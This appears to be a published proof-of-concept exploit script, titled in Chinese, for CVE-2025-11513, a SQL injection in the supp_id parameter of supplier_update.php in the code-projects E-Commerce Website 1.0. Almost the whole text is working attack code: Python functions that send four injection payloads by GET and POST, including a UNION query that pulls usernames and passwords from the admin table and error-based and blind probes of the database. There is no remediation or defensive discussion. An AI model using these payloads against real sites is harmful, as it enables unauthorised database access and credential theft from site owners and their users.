CVE-2025-11513：code-projects E-Commerce Website SQL注入漏洞

# CVE-2025-11513 PoC - SQL Injection in supplier_update.php # Affected: code-projects E-Commerce Website 1.0 # Vulnerable parameter: supp_id # Vulnerable file: /pages/supplier_update.php import requests TARGET_URL = "http://target.com/pages/supplier_update.php" # Payload 1: Basic SQL injection to bypass WHERE clause payload_basic = "1' OR '1'='1" # Payload 2: UNION-based injection to extract data payload_union = "1' UNION SELECT username,password FROM admin-- -" # Payload 3: Error-based injection payload_error = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)-- -" # Payload 4: Boolean-based blind injection payload_blind = "1' AND SUBSTRING(@@version,1,1)='5'-- -" def exploit_sql_injection(target_url, supp_id_payload): """ Send SQL injection payload via supp_id parameter """ # Try GET method first params = {"supp_id": supp_id_payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] GET Request URL: {response.url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def exploit_via_post(target_url, supp_id_payload): """ Send SQL injection payload via POST method """ data = {"supp_id": supp_id_payload} try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] POST Request") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-11513 Exploit - SQL Injection") print("code-projects E-Commerce Website 1.0") print("=" * 60) # Test basic injection print("\n[*] Testing basic SQL injection...") result = exploit_sql_injection(TARGET_URL, payload_basic) # Test UNION injection print("\n[*] Testing UNION-based injection...") result = exploit_sql_injection(TARGET_URL, payload_union) # Test blind injection for version detection print("\n[*] Testing boolean-based blind injection...") result = exploit_sql_injection(TARGET_URL, payload_blind)